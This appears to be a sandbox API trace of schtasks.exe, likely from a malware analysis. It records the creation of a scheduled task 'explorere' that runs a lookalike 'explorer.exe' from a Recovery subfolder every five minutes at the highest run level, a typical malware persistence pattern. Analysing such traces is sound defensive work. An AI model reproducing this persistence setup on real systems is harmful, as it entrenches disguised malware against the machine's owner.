0x1fd5f0 [0139.295] GetProcessHeap () returned 0x1e0000 [0139.295] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcce0 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0139.296] lstrlenW (lpString="Second") returned 6 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd610 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fccb0 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0139.296] lstrlenW (lpString="Third") returned 5 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xc) returned 0x1fd630 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc80 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0139.296] lstrlenW (lpString="Fourth") returned 6 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd650 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0139.296] lstrlenW (lpString="Last") returned 4 [0139.296] GetProcessHeap () returned 0x1e0000 [0139.296] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa) returned 0x1fd670 [0139.296] lstrlenW (lpString="5") returned 1 [0139.296] _wtol (_String="5") returned 5 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0139.296] lstrlenW (lpString="First") returned 5 [0139.296] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.296] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0139.296] lstrlenW (lpString="Second") returned 6 [0139.297] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.297] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0139.297] lstrlenW (lpString="Third") returned 5 [0139.297] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.297] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0139.297] lstrlenW (lpString="Fourth") returned 6 [0139.297] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.297] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0139.297] lstrlenW (lpString="Last") returned 4 [0139.297] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c280, cchData=128 | out: lpLCData="0") returned 2 [0139.297] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.297] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0139.297] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5f0) returned 1 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd5f0) returned 0xc [0139.297] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd5f0 | out: hHeap=0x1e0000) returned 1 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd5f0 [0139.297] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c2a0, cchData=128 | out: lpLCData="0") returned 2 [0139.297] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.297] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0139.297] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.297] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd610) returned 1 [0139.297] GetProcessHeap () returned 0x1e0000 [0139.298] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd610) returned 0xe [0139.298] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd610 | out: hHeap=0x1e0000) returned 1 [0139.298] GetProcessHeap () returned 0x1e0000 [0139.298] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd610 [0139.298] GetLocalTime (in: lpSystemTime=0x13c4d0 | out: lpSystemTime=0x13c4d0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x2, wMilliseconds=0x25b)) [0139.298] lstrlenW (lpString="") returned 0 [0139.298] GetLocalTime (in: lpSystemTime=0x13cd88 | out: lpSystemTime=0x13cd88*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x2, wMilliseconds=0x25b)) [0139.298] lstrlenW (lpString="") returned 0 [0139.298] lstrlenW (lpString="") returned 0 [0139.298] lstrlenW (lpString="") returned 0 [0139.298] lstrlenW (lpString="") returned 0 [0139.298] lstrlenW (lpString="5") returned 1 [0139.298] _wtol (_String="5") returned 5 [0139.298] lstrlenW (lpString="") returned 0 [0139.298] lstrlenW (lpString="") returned 0 [0139.298] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0139.407] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0139.480] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13cb50 | out: ppv=0x13cb50*=0x1a7b10) returned 0x0 [0139.491] TaskScheduler:ITaskService:Connect (This=0x1a7b10, serverName=0x13cc30*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13cc10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13cbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0139.582] TaskScheduler:IUnknown:AddRef (This=0x1a7b10) returned 0x2 [0139.582] TaskScheduler:ITaskService:GetFolder (in: This=0x1a7b10, Path=0x0, ppFolder=0x13cce8 | out: ppFolder=0x13cce8*=0x1a7d40) returned 0x0 [0139.588] TaskScheduler:ITaskService:NewTask (in: This=0x1a7b10, flags=0x0, ppDefinition=0x13cce0 | out: ppDefinition=0x13cce0*=0x1a7d90) returned 0x0 [0139.589] ITaskDefinition:get_Actions (in: This=0x1a7d90, ppActions=0x13cc60 | out: ppActions=0x13cc60*=0x1a7e50) returned 0x0 [0139.589] IActionCollection:Create (in: This=0x1a7e50, Type=0, ppAction=0x13cc80 | out: ppAction=0x13cc80*=0x1a6690) returned 0x0 [0139.589] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.589] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0139.589] lstrlenW (lpString=" ") returned 1 [0139.589] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.589] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0139.590] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0139.591] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0139.591] IUnknown:Release (This=0x1a6690) returned 0x1 [0139.591] IUnknown:Release (This=0x1a7e50) returned 0x1 [0139.591] ITaskDefinition:get_Triggers (in: This=0x1a7d90, ppTriggers=0x13c7e0 | out: ppTriggers=0x13c7e0*=0x1a6400) returned 0x0 [0139.591] ITriggerCollection:Create (in: This=0x1a6400, Type=1, ppTrigger=0x13c7d8 | out: ppTrigger=0x13c7d8*=0x1a6700) returned 0x0 [0139.592] lstrlenW (lpString="5") returned 1 [0139.592] _vsnwprintf (in: _Buffer=0x13c760, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x13c758 | out: _Buffer="PT5M") returned 4 [0139.592] ITrigger:get_Repetition (in: This=0x1a6700, ppRepeat=0x13c7d0 | out: ppRepeat=0x13c7d0*=0x1a6790) returned 0x0 [0139.592] IRepetitionPattern:put_Interval (This=0x1a6790, Interval="PT5M") returned 0x0 [0139.592] IUnknown:Release (This=0x1a6790) returned 0x1 [0139.592] _vsnwprintf (in: _Buffer=0x13c720, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13c6f8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0139.592] ITrigger:put_StartBoundary (This=0x1a6700, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0139.592] lstrlenW (lpString="") returned 0 [0139.592] lstrlenW (lpString="") returned 0 [0139.592] lstrlenW (lpString="") returned 0 [0139.592] lstrlenW (lpString="") returned 0 [0139.592] IUnknown:Release (This=0x1a6700) returned 0x1 [0139.592] IUnknown:Release (This=0x1a6400) returned 0x1 [0139.593] ITaskDefinition:get_Settings (in: This=0x1a7d90, ppSettings=0x13cc80 | out: ppSettings=0x13cc80*=0x1a6470) returned 0x0 [0139.593] lstrlenW (lpString="") returned 0 [0139.593] IUnknown:Release (This=0x1a6470) returned 0x1 [0139.593] GetLocalTime (in: lpSystemTime=0x13cb38 | out: lpSystemTime=0x13cb38*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x2, wMilliseconds=0x384)) [0139.593] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0139.593] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0139.593] GetUserNameW (in: lpBuffer=0x13cb60, pcbBuffer=0x13cb48 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13cb48) returned 1 [0139.594] ITaskDefinition:get_RegistrationInfo (in: This=0x1a7d90, ppRegistrationInfo=0x13cb30 | out: ppRegistrationInfo=0x13cb30*=0x1a7ed0) returned 0x0 [0139.594] IRegistrationInfo:put_Author (This=0x1a7ed0, Author="") returned 0x0 [0139.594] _vsnwprintf (in: _Buffer=0x13cb60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13caf8 | out: _Buffer="2022-08-06T02:19:02") returned 19 [0139.594] IRegistrationInfo:put_Date (This=0x1a7ed0, Date="") returned 0x0 [0139.594] IUnknown:Release (This=0x1a7ed0) returned 0x1 [0139.594] malloc (_Size=0x18) returned 0x1a7fb0 [0139.594] free (_Block=0x1a7fb0) [0139.594] lstrlenW (lpString="") returned 0 [0139.594] ITaskDefinition:get_Principal (in: This=0x1a7d90, ppPrincipal=0x13cd50 | out: ppPrincipal=0x13cd50*=0x1a65e0) returned 0x0 [0139.594] IPrincipal:put_RunLevel (This=0x1a65e0, RunLevel=1) returned 0x0 [0139.594] IUnknown:Release (This=0x1a65e0) returned 0x1 [0139.595] malloc (_Size=0x18) returned 0x1a7fb0 [0139.595] ITaskFolder:RegisterTaskDefinition (in: This=0x1a7d40, Path="explorere", pDefinition=0x1a7d90, flags=6, UserId=0x13cdd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13ece0, varVal2=0xfe), LogonType=3, sddl=0x13cdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13ccf0 | out: ppTask=0x13ccf0*=0x1a6930) returned 0x0 [0139.736] free (_Block=0x1a7fb0) [0139.736] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.736] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0139.736] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0139.736] GetProcessHeap () returned 0x1e0000 [0139.736] GetProcessHeap () returned 0x1e0000 [0139.736] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd630) returned 1 [0139.736] GetProcessHeap () returned 0x1e0000 [0139.736] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd630) returned 0xc [0139.736] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd630 | out: hHeap=0x1e0000) returned 1 [0139.736] GetProcessHeap () returned 0x1e0000 [0139.736] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x82) returned 0x219d70 [0139.736] _vsnwprintf (in: _Buffer=0x13d430, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13cc98 | out: _Buffer="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0139.736] _fileno (_File=0x7fefed02ab0) returned -2 [0139.736] _errno () returned 0x1a4bb0 [0139.736] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0139.736] SetLastError (dwErrCode=0x6) [0139.736] lstrlenW (lpString="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0139.736] GetConsoleOutputCP () returned 0x0 [0139.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0139.737] GetConsoleOutputCP () returned 0x0 [0139.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0139.737] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0139.737] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0139.737] IUnknown:Release (This=0x1a6930) returned 0x0 [0139.737] TaskScheduler:IUnknown:Release (This=0x1a7d90) returned 0x0 [0139.737] TaskScheduler:IUnknown:Release (This=0x1a7d40) returned 0x0 [0139.737] TaskScheduler:IUnknown:Release (This=0x1a7b10) returned 0x1 [0139.737] lstrlenW (lpString="") returned 0 [0139.737] lstrlenW (lpString="5") returned 1 [0139.737] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0139.737] GetProcessHeap () returned 0x1e0000 [0139.737] GetProcessHeap () returned 0x1e0000 [0139.737] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3a0) returned 1 [0139.737] GetProcessHeap () returned 0x1e0000 [0139.737] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc3a0) returned 0x1fc [0139.738] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc3a0 | out: hHeap=0x1e0000) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc210) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc210) returned 0x4 [0139.738] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc210 | out: hHeap=0x1e0000) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd550) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd550) returned 0x16 [0139.738] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd550 | out: hHeap=0x1e0000) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd530) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd530) returned 0x18 [0139.738] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd530 | out: hHeap=0x1e0000) returned 1 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.738] GetProcessHeap () returned 0x1e0000 [0139.739] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00) returned 1 [0139.739] GetProcessHeap () returned 0x1e0000 [0139.739] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce00) returned 0x20 [0139.739] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00 | out: hHeap=0x1e0000) returned 1 [0139.739] GetProcessHeap () returned 0x1e0000 [0139.739] GetProcessHeap () returned 0x1e0000 [0139.739] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc040) returned 1 [0139.739] GetProcessHeap () returned 0x1e0000 [0139.739] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc040) returned 0xa0 [0139.739] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc040 | out: hHeap=0x1e0000) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbac0) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbac0) returned 0x18 [0139.740] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbac0 | out: hHeap=0x1e0000) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb60) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcb60) returned 0x20 [0139.740] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb60 | out: hHeap=0x1e0000) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2a0) returned 1 [0139.740] GetProcessHeap () returned 0x1e0000 [0139.740] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc2a0) returned 0x80 [0139.740] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc2a0 | out: hHeap=0x1e0000) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd570) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd570) returned 0x18 [0139.741] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd570 | out: hHeap=0x1e0000) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb30) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcb30) returned 0x20 [0139.741] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb30 | out: hHeap=0x1e0000) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdce0) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.741] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fdce0) returned 0x82 [0139.741] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdce0 | out: hHeap=0x1e0000) returned 1 [0139.741] GetProcessHeap () returned 0x1e0000 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd510) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd510) returned 0x18 [0139.742] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd510 | out: hHeap=0x1e0000) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb00) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcb00) returned 0x20 [0139.742] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcb00 | out: hHeap=0x1e0000) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc380) returned 1 [0139.742] GetProcessHeap () returned 0x1e0000 [0139.742] 